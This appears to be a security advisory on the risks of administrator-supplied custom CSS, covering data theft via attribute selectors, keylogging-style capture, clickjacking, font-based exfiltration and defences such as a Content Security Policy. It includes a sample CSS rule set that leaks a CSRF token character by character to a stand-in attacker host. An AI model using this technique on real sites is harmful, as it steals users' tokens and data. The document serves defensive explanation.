Security Notes for Custom CSS

Theresa Henze - 2026-09-10 - Miscellaneous

Custom CSS: Security Considerations

Custom CSS lets administrators change how user-facing pages look. Although CSS cannot run scripts like JavaScript, modern CSS is expressive enough to steal data, deceive users, and hide information. Treat custom CSS as trusted, security-sensitive code.

Why CSS Is a Security Concern

CSS is often assumed to be "just styling," but it can load external resources, react to the content and state of the page, and reshape what the user sees. Because security controls are often stricter about JavaScript than CSS, styling can be an attacker's path of least resistance. The styles you enter run directly in your users' browsers, in the context of your application.

What Malicious CSS Can Do

1. Stealing data with attribute selectors

CSS can match elements by the *content* of their attributes and trigger a network request (e.g. loading a background image) when a match succeeds. Together, these let an attacker read sensitive values off the page and send them to an external server:

```
input[name="csrf_token"][value^="a"] {
  background: url("https://attacker.example/leak?c=a");
}
input[name="csrf_token"][value^="b"] {
  background: url("https://attacker.example/leak?c=b");
}
/* ...one rule per possible character... */
```

The browser only requests the image for the rule that matches, revealing one character. Repeated, this reconstructs the whole value and sensitive values are at risk.

2. Keylogging-style capture

Where a field's typed value is reflected back into the DOM (e.g. written into a `value` attribute), the technique above can be applied as the user types, streaming each character to an attacker's server. This is narrower than full JavaScript keylogging, but a genuine risk for the right kind of field.

3. UI redressing, clickjacking, and phishing

CSS controls layout, visibility, and stacking order, which can be used to deceive users:

- **Hiding information:** `display: none` or `visibility: hidden` can remove security warnings so users never see them.
- **Clickjacking:** transparent or repositioned elements layered over real buttons (via `position` and a high `z-index`) make a click land somewhere unintended.
- **Fake content:** a fraudulent login form or message can be overlaid on the real page, turning your application into a phishing surface.

4. Text exfiltration via fonts

Advanced attacks use `@font-face` with `unicode-range` to request a different resource per character range, letting an attacker infer actual text content from the browser's requests. Complex and situational, but a

reminder of how far CSS reaches beyond colors and margins.

Why This Matters

Leaking a security token can let an attacker act as the user (to change settings, reset passwords, or delete data) and exfiltrating personal data is a breach. Because these attacks use no `script` HTML tags, they often slip past filters and firewalls focused on JavaScript.

What You Should Do

- **Only use CSS from sources you trust.** Treat pasted-in CSS like any code you would run in your application.
- **Read it before saving.** Be suspicious of external URLs (`url(...)`), attribute selectors on inputs (`[value^=...]`), `@font-face` / `unicode-range`, and aggressive positioning or `z-index` values.
- **Keep it minimal.** Smaller, simpler CSS is easier to review and leaves less room for something harmful to hide.
- **When in doubt, don't save it.** If you can't account for what a block of CSS does, leave it out.
- **Configure a restrictive Content Security Policy (CSP).** Most of these attacks rely on requests to external servers (via `url(...)` and `@font-face`). A well-configured CSP is your strongest technical safeguard: restrict `img-src`, `style-src`, and `font-src` (or `connect-src`) to trusted origins, and avoid `'unsafe-inline'` where you can.

If you're unsure whether a stylesheet is safe, have someone with security or front-end experience review it before applying it to user-facing pages.